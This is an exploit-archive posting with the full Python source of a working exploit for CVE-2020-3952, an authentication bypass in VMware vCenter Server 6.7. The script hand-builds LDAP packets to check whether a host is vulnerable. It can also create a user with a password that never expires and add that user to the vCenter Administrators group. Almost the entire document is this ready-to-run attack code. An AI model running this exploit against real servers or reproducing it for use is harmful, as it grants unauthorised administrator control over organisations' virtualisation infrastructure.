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VMware vCenter Server 6.7 Authentication Bypass

VMware vCenter Server 6.7 Authentication Bypass
Posted Jun 2, 2020
Authored by Photubias

VMware vCenter Server version 6.7 authentication bypass exploit.

tags | exploit, bypass
advisories | CVE-2020-3952
MD5 | 692b986ac967835b971f4b1d67281045

VMware vCenter Server 6.7 Authentication Bypass

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# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
Copyright 2020 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952

File name CVE-2020-3592.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
#sLetters = string.ascii_lowercase
sLetters = string.ascii_letters
return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
sReturn = sPrefix
if (len(sData) / 2 ) > 255:
sReturn += b'82'
hexBytes = 2
elif (len(sData) /2 ) >= 128:
sReturn += b'81'
sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
return sReturn

def buildBindRequestPacket(sUser, sPass):
sUser = binascii.hexlify(sUser.encode())
sPass = binascii.hexlify(sPass.encode())
## Packet Construction
sPacket = getLengthPrefix(sPass, b'80') + sPass
sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
sPacket = b'020103' + sPacket
sPacket = getLengthPrefix(sPacket, b'60') + sPacket
sPacket = b'020101' + sPacket
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
#print(sPacket)
return binascii.unhexlify(sPacket)

def buildUserCreatePacket(sUser, sPass):
sUser = binascii.hexlify(sUser.encode())
sPass = binascii.hexlify(sPass.encode())
def createAttribute(sName, sValue):
sValue = getLengthPrefix(sValue, b'04') + sValue
sName = getLengthPrefix(sName, b'04') + sName

sReturn = getLengthPrefix(sValue, b'31') + sValue
sReturn = sName + sReturn
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
return sReturn

def createObjectClass():
sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')

sReturn = getLengthPrefix(sReturn, b'31') + sReturn
sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
return sReturn

## Attributes
sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
sAttributes += createObjectClass()
sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
## CN
sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
sUserEntry = getLengthPrefix(sCN, b'04') + sCN

## Packet Assembly (bottom up)
sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
sPacket = sUserEntry + sPacket
sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
#print(sPacket)
return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
sMember = binascii.hexlify(b'member')
## Packet Construction
sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
sPacket = getLengthPrefix(sPacket, b'31') + sPacket
sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
#print(sPacket)
return binascii.unhexlify(sPacket)

def performBind(s):
## Trying to bind, fails, but necessary (even fails when using correct credentials)
dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
s.send(dPacket)
sResponse = s.recv(1024)
try:
sResponse = sResponse.split(b'\x04\x00')[0][-1:]
sCode = binascii.hexlify(sResponse).decode()
if sCode == '31': print('[+] Ok, service reachable, continuing')
else: print('[-] Something went wrong')
except:
pass
return sCode

def performUserAdd(s, sUser, sPass):
dPacket = buildUserCreatePacket(sUser,sPass)
s.send(dPacket)
sResponse = s.recv(1024)
try:
sCode = sResponse.split(b'\x04\x00')[0][-1:]
sMessage = sResponse.split(b'\x04\x00')[1]
if sCode == b'\x00':
print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
elif sCode == b'\x32':
print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
else:
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
else: sMessage = sMessage[2:].decode()
print('[-] Error, user not added, message received: ' + sMessage)
except:
pass
return sCode


def performUserMod(s, sUser, verbose = True):
dPacket = buildModifyUserPacket(sUser)
s.send(dPacket)
sResponse = s.recv(1024)
try:
sCode = sResponse.split(b'\x04\x00')[0][-1:]
sMessage = sResponse.split(b'\x04\x00')[1]
if sCode == b'\x00':
if verbose: print('[+] User modification success (if the above is OK).')
else:
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
else: sMessage = sMessage[2:].decode()
if verbose: print('[-] Error during modification, message received: ' + sMessage)
except:
pass
return sCode, sMessage

def performUnbind(s):
try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
except: pass

def main():
global _sIP, _iPORT, _iTIMEOUT
_sUSER = 'user_' + randomString(6)
_sPASS = randomString(8) + '_2020'
bAdduser = False
if len(sys.argv) == 1:
print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
print(' Leave username & password empty for a vulnerability check')
print(' Watch out for vCenter/LDAP password requirements, leave empty for random password')
print(' But for now, I will ask questions')
sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
if not sAnswer == '': _sIP = sAnswer
sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
if sAnswer.lower() == 'n': bAdduser = True
if bAdduser:
sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
if not sAnswer == '': _sUSER = sAnswer
sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
if not sAnswer == '': _sPASS = sAnswer
else:
_sIP = sys.argv[1]
if len(sys.argv) >= 3:
_sUSER = sys.argv[2]
bAdduser = True
if len(sys.argv) >= 4: _sPASS = sys.argv[3]

## MAIN
print('')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(_iTIMEOUT)
try:
s.connect((_sIP,_iPORT))
except:
print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
sys.exit(1)

performBind(s)

if bAdduser:
sCode = performUserAdd(s, _sUSER, _sPASS)

if not bAdduser:
print('[!] Checking vulnerability')
sCode, sMessage = performUserMod(s, 'Administrator', False)
if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
else: print('[+] This host is vulnerable!')
else:
sCode = performUserMod(s, _sUSER)

performUnbind(s)

s.close()


if __name__ == "__main__":
main()
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